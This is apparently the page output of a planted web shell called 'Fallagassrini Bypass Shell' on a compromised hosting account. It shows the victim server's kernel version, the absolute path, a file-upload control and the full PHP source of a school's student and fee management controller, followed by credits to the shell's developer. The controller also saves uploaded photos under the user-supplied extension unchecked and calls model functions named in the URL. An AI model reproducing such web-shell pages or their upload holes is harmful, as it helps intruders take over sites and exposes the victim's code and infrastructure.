? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec/draft/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec/draft/application/controllers/student.php

<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

class Student extends MY_Controller
{

    public function __construct()
    {
        parent::__construct();
        $this->load->model('mastermodel');
        $this->load->model('studentmodel');
        $this->load->model('accountingmodel');
        $this->load->helper('to_pdf');
    }

    function get_post_values()
    {
        $data = array();
        foreach ($_POST as $key => $value)
        {
            if ($key != "submit")
            {
                $data[$key] = $this->input->post($key);
            }
        }
        return $data;
    }

    function viewinstudentsearch($modelfunction, $page, $pagenum)
    {
        $output = $this->studentmodel->$modelfunction($pagenum);
        $data['viewinfo'] = $output['results'];
        $_SESSION['res_function'] = $modelfunction;
        $this->load->view('student/' . $page . '', $data);
    }

    function addformdisplay($page, $directory, $return_page = '')
    {
        $data = array();
        $data['return_page'] = $return_page;
        $perm = $this->studentmodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 1);
        if (!$perm)
        {
            $data['msg'] = "Access is restricted";
            $this->load->view('message', $data);
        }
        else
        {
            $this->load->view('' . $directory . '/' . $page . '', $data);
        }
    }

    function addinstudent($modelfunction, $page)
    {
        $data = array();
        $postdata = $this->get_post_values();
        $data = $this->studentmodel->$modelfunction($postdata);
        $this->viewinstudentsearch($data['resfunction'], $page, $_SESSION['pagenum']);
        $this->load->view('message', $data);
    }

    function student_add($modelfunction, $page)
    {

        $data = array();
        $postdata = $_POST;
        $path = './assets/uploads/student_photo';
        $file_name = date("Y-m-d-H-i-s");
        $uploaded_file = pathinfo($_FILES["attach_photo"]["name"]);
        $extension = $uploaded_file['extension'];
        $image_file = $file_name . '.' . $extension;

        if (isset($_FILES['attach_photo']) && $_FILES['attach_photo']['name'] != "")
        {
            $_FILES['attach_photo']['name'] = $image_file;

            if (!is_file("$path/" . $_FILES["attach_photo"]["name"]))
            {
                move_uploaded_file($_FILES["attach_photo"]["tmp_name"], $path . "/" . $_FILES["attach_photo"]["name"]);
                $postdata['attach_photo'] = $_FILES["attach_photo"]["name"];
            }
            else
            {
                echo "File already exists";
                $postdata['attach_photo'] = '';
            }
        }
        else
        {
            $postdata['attach_photo'] = "";
        }

        if (isset($postdata['unique_form']))
        {
            if ($postdata['unique_form'] != $_SESSION['unique_form'])
            {
                $_SESSION['unique_form'] = $postdata['unique_form'];
                $data = $this->studentmodel->$modelfunction($postdata);
            }
        }
        else
            $data = $this->studentmodel->$modelfunction($postdata);


        $msg = 'photo';
        $this->load->view('message', $data);
        redirect("master/index/" . $_SESSION['current_mode'] . '/' . $_SESSION['current_module'] . '/1/' . $msg);
    }

    function deletedata($table, $id, $field)
    {
        $data = array();
        $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 3);
        if (!$perm)
            $data['msg'] = "Access is restricted";
        else
            $data = $this->mastermodel->deletedata($table, $id, $field);
        $arr = array('msg' => $data['msg'], 'res' => $data['res']);
        echo json_encode($arr);
    }

    function edit_page($id, $table, $field, $page)
    {
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 2);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Access is restricted";
            $this->load->view('message', $data);
        }
        else
        {
            $data['viewinfo'] = $this->mastermodel->get_data_srow($table, $id, $field);
//            $data['subject'] = $this->studentmodel->homework_subject_details($id);
            $data['id'] = $id;
            $this->load->view('student/' . $page, $data);
        }
    }

    function edit_student($id, $table, $field, $page)
    {
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 2);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Access is restricted";
            $this->load->view('message', $data);
        }
        else
        {
            $data['student'] = $this->mastermodel->get_data_srow_joined('student', 'parent_student', 'student_id', 'student_id', $id, 'student.student_id');
            $data['parent'] = $this->mastermodel->get_data_srow('parent', $data['student']->parent_id, 'parent_id');
            $data['id'] = $id;
            $this->load->view('student/' . $page, $data);
        }
    }

    function edit_student_batch($id, $table, $field, $page)
    {
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 2);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Access is restricted";
            $this->load->view('message', $data);
        }
        else
        {
            $data['viewinfo'] = $this->mastermodel->get_data_srow_joined('batch', 'course', 'course_id', 'course_id', $id, $field);
            $batch_id = $id;
            $course_id = $data['viewinfo']->course_id;
            $data['batch_students'] = $this->studentmodel->get_batch_student_details($batch_id, $course_id);
            $data['cancelled_student'] = $this->studentmodel->get_cancelled_student($batch_id);
            $data['deactivate_student'] = $this->studentmodel->get_deactivate_student($batch_id);
            $sections = $this->mastermodel->get_data_joined('course_fee_structure', 'no_sessions', 'no_sessions_id', 'no_sessions_id', $course_id, 'course_fee_structure.course_id');
            $data['sections'] = $sections;
            $data['id'] = $id;
            $this->load->view('student/' . $page, $data);
        }
    }

    function edit_fee($id, $table, $field, $page)
    {
        $data = array();
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 2);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Access is restricted";
            $this->load->view('message', $data);
        }
        else
        {

            $data['viewinfo'] = $this->mastermodel->get_data_srow_joined('fee', 'student_batch', 'student_batch_id', 'student_batch_id', $id, 'fee_id');
            $batch_id = $data['viewinfo']->current_batch_id;
            $data['batch_details'] = $this->mastermodel->get_data_srow_joined('batch', 'course', 'course_id', 'course_id', $batch_id, 'batch_id');
            $data['fee_paid_details'] = $this->mastermodel->get_data('fee_paid_details', $id, 'fee_id');
            $course = $data['viewinfo']->course_id;
            $student_id = $data['viewinfo']->student_id;

            $data['student'] = $this->mastermodel->get_data_srow('student', $student_id, 'student_id');
            $paid = $this->studentmodel->get_student_fee_pending($student_id, $course);
            $data['paid_amount'] = $paid->paid_amount;


            $reg_paid = $this->studentmodel->get_student_reg_fee_pending($student_id, $course);
            $data['reg_paid_amount'] = $reg_paid->reg_paid_amount;

            $book_paid = $this->studentmodel->get_student_books_fee_pending($student_id, $course);
            $data['books_paid_amount'] = $book_paid->books_paid_amount;

            $extra_class_fee = $this->studentmodel->get_student_extra_class_fee($student_id, $batch_id);
            $data['extra_class_fee'] = $extra_class_fee->extraclass_fee;

            $extra_class_fee_paid = $this->studentmodel->get_student_extra_class_fee_pending($student_id, $course);
            $data['extra_class_fee_paid'] = $extra_class_fee_paid->extra_class_fee_paid;
            $data['course_fee'] = $data['viewinfo']->course_fee;
            $data['no_sessions'] = $data['viewinfo']->no_sessions;
            $data['reg_fee'] = $data['viewinfo']->registration_fee;
            $data['books_fee'] = $data['viewinfo']->books_fee;
            $data['id'] = $id;
            $this->load->view('student/' . $page, $data);
        }
    }

    function getStudentFeeDetails($student_batch_id, $student_id)
    {
        $data = array();
        $student_batch_details = $this->mastermodel->get_data_srow_joined('student_batch', 'batch', 'current_batch_id', 'batch_id', $student_batch_id, 'student_batch_id');
        $course = $student_batch_details->course_id;
        $data['course_fee'] = $student_batch_details->course_fee;
        $data['books_fee'] = $student_batch_details->books_fee;
        $data['no_sessions'] = $student_batch_details->no_sessions;
        $data['reg_fee'] = $student_batch_details->registration_fee;
        $paid = $this->studentmodel->get_student_fee_pending($student_id, $course);
        $data['paid_amount'] = $paid->paid_amount;
        $reg_paid = $this->studentmodel->get_student_reg_fee_pending($student_id, $course);
        $data['reg_paid_amount'] = $reg_paid->reg_paid_amount;
        $book_paid = $this->studentmodel->get_student_books_fee_pending($student_id, $course);
        $data['books_paid_amount'] = $book_paid->books_paid_amount;
        $batch_id = $student_batch_details->current_batch_id;
        $extra_class_fee = $this->studentmodel->get_student_extra_class_fee($student_id, $batch_id);
        $data['extra_class_fee'] = $extra_class_fee->extraclass_fee;
        $extra_paid = $this->studentmodel->get_student_extra_class_fee_pending($student_id, $course);
        $data['extra_paid_amount'] = $extra_paid->extra_class_fee_paid;
        $data['student_batch_id'] = $student_batch_id;
        $this->load->view('student/student_fee_details', $data);
    }

    function single_page($id, $table, $field, $page, $return_page = '')
    {
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 0);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Access is restricted";
            $this->load->view('message', $data);
        }
        else
        {
            $data['viewinfo'] = $this->mastermodel->get_data_srow($table, $id, $field);
            $data['id'] = $id;
            $data['return_page'] = $return_page;
            $this->load->view('student/' . $page, $data);
        }
    }

    function single_student_batch($id, $table, $field, $page, $return_page = '')
    {
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 0);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Access is restricted";
            $this->load->view('message', $data);
        }
        else
        {
            $data['viewinfo'] = $this->mastermodel->get_data_srow($table, $id, $field);
            $course_id = $data['viewinfo']->course_id;
            $data['batch_students'] = $this->studentmodel->get_batch_student_details($id, $course_id);
            $data['cancelled_student'] = $this->studentmodel->get_cancelled_student($id);
            $data['deactivate_student'] = $this->studentmodel->get_deactivate_student($id);
            $data['id'] = $id;
            $data['return_page'] = $return_page;
            $this->load->view('student/' . $page, $data);
        }
    }

    function single_student($id, $table, $field, $page)
    {
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 0);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Access is restricted";
            $this->load->view('message', $data);
        }
        else
        {
            $data['student'] = $this->mastermodel->get_data_srow_joined('student', 'parent_student', 'student_id', 'student_id', $id, 'student.student_id');
            $data['parent'] = $this->mastermodel->get_data_srow('parent', $data['student']->parent_id, 'parent_id');
            $this->load->view('student/' . $page, $data);
        }
    }

    function single_fee($id, $table, $field, $page)
    {
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 0);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Access is restricted";
            $this->load->view('message', $data);
        }
        else
        {

            $data['viewinfo'] = $this->mastermodel->get_data_srow_joined('fee', 'student_batch', 'student_batch_id', 'student_batch_id', $id, 'fee_id');
            $batch_id = $data['viewinfo']->current_batch_id;
            $data['batch_details'] = $this->mastermodel->get_data_srow_joined('batch', 'course', 'course_id', 'course_id', $batch_id, 'batch_id');
            $data['fee_paid_details'] = $this->mastermodel->get_data('fee_paid_details', $id, 'fee_id');
            $course = $data['viewinfo']->course_id;
            $student_id = $data['viewinfo']->student_id;

            $data['student'] = $this->mastermodel->get_data_srow('student', $student_id, 'student_id');
            $paid = $this->studentmodel->get_student_fee_pending($student_id, $course);
            $data['paid_amount'] = $paid->paid_amount;
            $data['reg_fee'] = $data['batch_details']->fee;
            $reg_paid = $this->studentmodel->get_student_reg_fee_pending($student_id, $course);
            $data['reg_paid_amount'] = $reg_paid->reg_paid_amount;

            $book_paid = $this->studentmodel->get_student_books_fee_pending($student_id, $course);
            $data['books_paid_amount'] = $book_paid->books_paid_amount;

            $extra_class_fee = $this->studentmodel->get_student_extra_class_fee($student_id, $batch_id);
            $data['extra_class_fee'] = $extra_class_fee->extraclass_fee;

            $extra_class_fee_paid = $this->studentmodel->get_student_extra_class_fee_pending($student_id, $course);
            $data['extra_class_fee_paid'] = $extra_class_fee_paid->extra_class_fee_paid;
            $data['course_fee'] = $data['viewinfo']->course_fee;
            $data['no_sessions'] = $data['viewinfo']->no_sessions;
            $data['reg_fee'] = $data['viewinfo']->registration_fee;


            $data['id'] = $id;
            $this->load->view('student/' . $page, $data);
        }
    }

    function load_parents($father = '', $mother = '', $qatar = '')
    {
        $father = urldecode($father);
        $mother = urldecode($mother);
        $qatar = urldecode($qatar);
        $data['viewinfo'] = $this->studentmodel->get_parents_details($father, $mother, $qatar);
        $this->load->view('student/parents_details', $data);
    }

    function load_batch($id)
    {
        $batch = $this->studentmodel->get_batches($id);
        $student_no = $this->mastermodel->get_data_srow('student', $id, 'student_id');

        $data['batch'] = $batch;
        $data['reg_no'] = $student_no->reg_no;
        $data['gender'] = $student_no->gender;
        $data['nationality'] = $student_no->nationality;

        echo json_encode($data);
    }

    function load_students($student_id, $index, $course_id)
    {
        $data = array();
        $course_fee = $this->mastermodel->get_data_srow('course', $course_id, 'course_id');
        $data['viewinfo'] = $this->mastermodel->get_data_srow('student', $student_id, 'student_id');
        $sections = $this->mastermodel->get_data_joined('course_fee_structure', 'no_sessions', 'no_sessions_id', 'no_sessions_id', $course_id, 'course_fee_structure.course_id');
        $data['sections'] = $sections;
        $data['index'] = $index;
        $data['fee'] = $course_fee->course_fee;
        $data['books_fee'] = $course_fee->books_fee;
        $data['reg_fee'] = $course_fee->fee;
        $data['student_batch_id'] = $this->studentmodel->get_student_batch_id($student_id, $course_id);
        $this->load->view('student/student_details', $data);
    }

    function get_subject($batch_id)
    {

        $course = $this->mastermodel->get_single_field_value('batch', 'course_id', 'batch_id', $batch_id);
        $sub = $this->mastermodel->get_data('course_subject', $course, 'course_id');
        $opt = '<option value="">Select</option>';
        foreach ($sub as $list)
        {
            $subject = $this->mastermodel->get_single_field_value('subject', 'subject_name', 'subject_id', $list['subject_id']);


            $opt.= "<option value='" . $list['subject_id'] . "'>" . $subject . "</option>";
        }

        $data = array();
        $data['option'] = $opt;
        echo json_encode($data);
    }

    function get_batch_details($batch_id)
    {
        $batch = $this->mastermodel->get_data_srow('batch', $batch_id, 'batch_id');
        $opt = '';
        $teach = '';
        $subject = $this->mastermodel->get_data_joined('subject', 'course_subject', 'subject_id', 'subject_id', $batch->course_id, 'course_id', 'subject_name');
        if (empty($subject))
            $opt = '<option value="">Select</option>';
        else
        {
            foreach ($subject as $list)
            {
                $opt .= "<option value='" . $list['subject_id'] . "'>" . $list['subject_name'] . "</option>";
            }
        }
        $teacher = $this->mastermodel->get_data_joined('employee', 'batch_teacher', 'employee_id', 'teacher_id', $batch->batch_id, 'batch_id');
        if (empty($teacher))
            $teach = '<option value="">Select</option>';
        else
        {
            foreach ($teacher as $val)
            {
                $teach .= "<option value='" . $val['employee_id'] . "'>" . $val['employee_name'] . "</option>";
            }
        }
        $data = array();
        $data['subject_id'] = $opt;
        $data['teacher_id'] = $teach;
        echo json_encode($data);
    }

    function get_classroom($batch_id, $date)
    {
        $batch = $this->mastermodel->get_data_srow('batch', $batch_id, 'batch_id');
        $class = $batch->batch_class_id;
        $opt = '';
        $subject = $this->mastermodel->get_data_joined('subject', 'course_subject', 'subject_id', 'subject_id', $batch->course_id, 'course_id', 'subject_name');
        if (empty($subject))
            $opt = '<option value="">Select</option>';
        else
        {
            foreach ($subject as $list)
            {
                $opt .= "<option value='" . $list['subject_id'] . "'>" . $list['subject_name'] . "</option>";
            }
        }


        $data = array();
        $data['option'] = $opt;

        $data['class_id'] = $class;
        $data['class_code'] = $this->mastermodel->get_single_field_value('class', 'class_code', 'class_id', $class);
        $data['course_id'] = $batch->course_id;
        $data['course'] = $this->mastermodel->get_single_field_value('course', 'course_name', 'course_id', $batch->course_id);

        $teacher = $this->mastermodel->get_data_joined('employee', 'batch_teacher', 'employee_id', 'teacher_id', $batch_id, 'batch_id');
        $teach = '';
//        var_dump($teacher);
        if (empty($teacher))
            $teach = '<option value="">Select</option>';
        else
        {
            foreach ($teacher as $val)
            {
                $teach .= "<option value='" . $val['employee_id'] . "'>" . $val['employee_name'] . "</option>";
            }
        }
        
        $data['teacher_id'] = $teach;
        $start_time = explode(":", $batch->start_time);
        $end_time = explode(":", $batch->end_time);
        $r = range(0, 23);
        $minutes = range(0, 59);
        $select = "";
        foreach ($r as $hour)
        {
            $select .= "<option value=\"$hour\"";
            $select .= ($hour == $start_time[0]) ? ' selected="selected"' : '';
            $select .= ">" . str_pad($hour, 2, '0', STR_PAD_LEFT) . "</option>\n";
        }
        $start_time_m = "";
        foreach ($minutes as $min)
        {
            $start_time_m .= "<option value=\"$min\"";
            $start_time_m .= ($min == $start_time[1]) ? ' selected="selected"' : '';
            $start_time_m .= ">" . str_pad($min, 2, '0', STR_PAD_LEFT) . "</option>\n";
        }
        $end_time_h = "";
        foreach ($r as $hour)
        {
            $end_time_h .= "<option value=\"$hour\"";
            $end_time_h .= ($hour == $end_time[0]) ? ' selected="selected"' : '';
            $end_time_h .= ">" . str_pad($hour, 2, '0', STR_PAD_LEFT) . "</option>\n";
        }
        $end_time_minut = "";
        foreach ($minutes as $min)
        {
            $end_time_minut .= "<option value=\"$min\"";
            $end_time_minut .= ($min == $end_time[1]) ? ' selected="selected"' : '';
            $end_time_minut .= ">" . str_pad($min, 2, '0', STR_PAD_LEFT) . "</option>\n";
        }
        $data['start_time_hour'] = $select;

        $data['start_time_minute'] = $start_time_m;
        $data['end_time_hour'] = $end_time_h;
        $data['end_time_minute'] = $end_time_minut;
        echo json_encode($data);
    }

    function get_TeacherAndCourse($batch_id)
    {

        $batch = $this->mastermodel->get_data_srow('batch', $batch_id, 'batch_id');
        $exam = $this->mastermodel->get_data_joined('exammaster', 'course', 'course_id', 'course_id', $batch->course_id, 'course.course_id');


        $opt = '<option value="">Select</option>';
        foreach ($exam as $list)
        {
            $opt.= "<option value='" . $list['exammaster_id'] . "'>" . $list['exammaster_name'] . "</option>";
        }

        $data = array();
        $data['option'] = $opt;
        $data['course'] = $this->mastermodel->get_single_field_value('course', 'course_name', 'course_id', $batch->course_id);
        $data['teacher'] = $this->mastermodel->get_single_field_value('employee', 'employee_name', 'employee_id', $batch->teacher_id);

        echo json_encode($data);
    }

    function get_studentsubject($batch_id, $date)
    {

        $course = $this->mastermodel->get_single_field_value('batch', 'course_id', 'batch_id', $batch_id);
        $sub = $this->mastermodel->get_data('course_subject', $course, 'course_id');
        $student = $this->studentmodel->get_batch_student_details($batch_id, $course);

        $data = array();
        $data['subject'] = $sub;
        $data['std'] = $student;
        $data['batch'] = $batch_id;
        $data['date'] = $date;

        $data['sub_count'] = count($sub);
        $this->load->view('student/student_performance_marks', $data);
    }

    function get_student_no($student_id)
    {
        $data = array();
        $student = $this->mastermodel->get_data_srow('student', $student_id, 'student_id');
        $data['reg_no'] = $student->reg_no;
        $data['gender'] = $student->gender;
        $data['nationality'] = $student->nationality;
        echo json_encode($data);
    }

    function check_student_cancell($student_id, $batch_id, $student_batch_id)
    {
        $data = array();
        $student = $this->studentmodel->check_student_cancell($student_id, $batch_id, $student_batch_id);

        echo $student;
    }

    function get_attendance_students($batch_id, $date)
    {
        $data = array();
        $batch = $this->mastermodel->get_data_srow('batch', $batch_id, 'batch_id');
        $course_id = $batch->course_id;

        $student = $this->studentmodel->get_batch_student_details($batch_id, $course_id);
        $data['batch'] = $batch_id;
        $data['date'] = $date;
        $data['students'] = $student;
        $this->load->view('student/attendance_student', $data);
    }

    function get_roll_students($batch_id)
    {

        $batch = $this->mastermodel->get_data_srow('batch', $batch_id, 'batch_id');
        $course_id = $batch->course_id;
        $data = array();
        $student = $this->studentmodel->get_batch_student_details($batch_id, $course_id);
        $data['students'] = $student;
        $this->load->view('student/roll_over_student', $data);
    }

    function get_extra_class_students($batch_id)
    {

        $batch = $this->mastermodel->get_data_srow('batch', $batch_id, 'batch_id');
        $course_id = $batch->course_id;
        $data = array();
        $student = $this->studentmodel->get_batch_student_details($batch_id, $course_id);
        $data['students'] = $student;
        $this->load->view('student/extra_class_student', $data);
    }

    function get_invereturn($student_id)
    {

        $data = array();
        $inventory_details = $this->mastermodel->get_data_joined('sale_inventory', 'sale', 'sale_id', 'sale_id', $student_id, 'sale_student_id');
        $data['inventory'] = $inventory_details;

        $this->load->view('inventory/student_inventory', $data);
    }

    function get_student_stock_details($student_id)
    {

        $data = array();
        $student = $this->mastermodel->get_data('sale', $student_id, 'sale_student_id');

        $data['students'] = $student;
        $this->load->view('student/cancellation_student_stock', $data);
    }

    function check_sale_qty($inventory_type, $sale_id)
    {
        echo $this->mastermodel->get_single_field_value_two('sale_inventory', 'inventory_qty', 'inventory_type_id', $inventory_type, 'sale_id', $sale_id);
    }

    /* get students under a batch */

    function autosuggestbatchstudent($batch_id)
    {
        $q = strtolower($_POST["q"]);
        if (!$q)
            return;

        $batch = $this->mastermodel->get_data_srow('batch', $batch_id, 'batch_id');
        $course_id = $batch->course_id;
        $batch_student = $this->studentmodel->get_batch_student_details($batch_id, $course_id);

        foreach ($batch_student as $value)
        {
            $student = $this->mastermodel->get_data_srow('student', $value['student_id'], 'student_id');
            $f_name = $student->first_name;
            $l_name = $student->last_name;
            $reg = $student->reg_no;
            $id = $student->student_id;
            if (strpos(strtolower($f_name), $q) !== false)
            {
                echo '' . $f_name . ' ' . $l_name . '-' . $reg . '#' . $value['student_batch_id'] . '~' . $id . '#';
                echo "\n";
            }
            else if (strpos(strtolower($l_name), $q) !== false)
            {
                echo '' . $f_name . ' ' . $l_name . '-' . $reg . '#' . $value['student_batch_id'] . '~' . $id . '#';
                echo "\n";
            }
            else if (strpos(strtolower($reg), $q) !== false)
            {
                echo '' . $f_name . ' ' . $l_name . '-' . $reg . '#' . $value['student_batch_id'] . '~' . $id . '#';
                echo "\n";
            }
        }
    }

    /* get batches of a student */

    function autosuggestStudentBatch($student_id)
    {
        $q = strtolower($_POST["q"]);
        if (!$q)
            return;
        $batch_list = $this->studentmodel->get_student_batch_details($student_id);
        foreach ($batch_list as $items)
        {
            $batch = $this->mastermodel->get_data_srow('batch', $items['current_batch_id'], 'batch_id');
            $batch_no = $batch->batch_no;
            if (strpos(strtolower($batch_no), $q) !== false)
            {
                echo '' . $batch_no . '#' . $items['student_batch_id'] . '~' . $items['batch_id'] . '#';
                echo "\n";
            }
        }
    }

    /* list of all students not cancelled from given batch */

    function autoSuggestStudentsNotCancelled($batch_id)
    {
        $q = strtolower($_POST["q"]);
        if (!$q)
            return;

        $batch = $this->mastermodel->get_data_srow('batch', $batch_id, 'batch_id');
        $batch_student = $this->studentmodel->getStudentsNotCancelledFromBatch($batch_id);

        foreach ($batch_student as $value)
        {
            $f_name = $value['first_name'];
            $l_name = $value['last_name'];
            $reg = $value['reg_no'];
            $id = $value['student_id'];
            if (strpos(strtolower($f_name), $q) !== false)
            {
                echo '' . $f_name . ' ' . $l_name . '-' . $reg . '#' . $id . '#';
                echo "\n";
            }
            else if (strpos(strtolower($l_name), $q) !== false)
            {
                echo '' . $f_name . ' ' . $l_name . '-' . $reg . '#' . $id . '#';
                echo "\n";
            }
            else if (strpos(strtolower($reg), $q) !== false)
            {
                echo '' . $f_name . ' ' . $l_name . '-' . $reg . '#' . $id . '#';
                echo "\n";
            }
        }
    }

    function post_fee_settings($ref_id)
    {
        $data = array();
        $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 0);
        if (!$perm)
            $data['msg'] = "Access is restricted";
        else
            $data = $this->studentmodel->post_fee_settings($ref_id);
        $arr = array('msg' => $data['msg'], 'res' => $data['res']);
        echo json_encode($arr);
    }

    function reverse_fee_settings($ref_id)
    {
        $data = array();
        $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 0);
        if (!$perm)
            $data['msg'] = "Access is restricted";
        else
            $data = $this->studentmodel->reverse_fee_settings($ref_id);
        $arr = array('msg' => $data['msg'], 'res' => $data['res']);
        echo json_encode($arr);
    }

    function feereceiptunallocated($id)
    {
        $data['fee'] = $this->mastermodel->get_data_srow_joined('fee_payment', 'student', 'fee_student_id', 'student_id', $id, 'fee_payment_id');
        $this->load->view('student/feereceiptunallocpdf', $data);
    }

    function feereceipt($id)
    {
        $data['fee'] = $this->mastermodel->get_data_srow_joined('fee', 'student_batch', 'student_batch_id', 'student_batch_id', $id, 'fee_id');
        $batch_id = $data['fee']->current_batch_id;
        $data['fee_particular'] = $this->mastermodel->get_data('fee_paid_details', $id, 'fee_id');
        $data['student'] = $this->mastermodel->get_data_srow('student', $data['fee']->student_id, 'student_id');
        $data['course'] = $this->mastermodel->get_data_srow_joined('batch', 'course', 'course_id', 'course_id', $data['fee']->current_batch_id, 'batch_id');

        $course = $data['fee']->course_id;
        $student_id = $data['fee']->student_id;

        if ($data['fee']->course_fee != "" && $data['fee']->course_fee > 0)
            $data['course_fee'] = $data['fee']->course_fee;
        else
            $data['course_fee'] = $data['course']->course_fee;

        $paid = $this->studentmodel->get_student_fee_pending($student_id, $course);
        $data['paid_amount'] = $paid->paid_amount;

        $data['reg_fee'] = $data['course']->fee;
        $reg_paid = $this->studentmodel->get_student_reg_fee_pending($student_id, $course);
        $data['reg_paid_amount'] = $reg_paid->reg_paid_amount;

        $extra_class_fee = $this->studentmodel->get_student_extra_class_fee($student_id, $batch_id);
        $data['extra_class_fee'] = $extra_class_fee->extraclass_fee;
        $extra_class_fee_paid = $this->studentmodel->get_student_extra_class_fee_pending($student_id, $course);
        $data['extra_class_fee_paid'] = $extra_class_fee_paid->extra_class_fee_paid;

        $this->load->view('student/feereceiptpdf', $data);
    }

    function get_deactivted_student($student_id, $date, $batch, $deactivate = '')
    {
        $data = array();
        $data['deactivate'] = $deactivate = $this->studentmodel->check_deactivate($batch, $student_id, $date, $deactivate);
        $studnt = $this->mastermodel->get_data_srow('student', $student_id, 'student_id');
        $data['student'] = $studnt->first_name . ' ' . $studnt->last_name . '-' . $studnt->reg_no;
        echo json_encode($data);
    }

    function get_inventory_return($student_id)
    {
        $inventory = $this->inventorymodel->get_inventory_return($student_id);
    }
    function studentreceipt($id)
    {
        $data['student_details'] = $this->studentmodel->studentreceipt($id);
        $this->load->view('student/studentreceiptpdf', $data);
    }

}

/* End of file master.php */
/* Location: ./application/controllers/master.php */

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net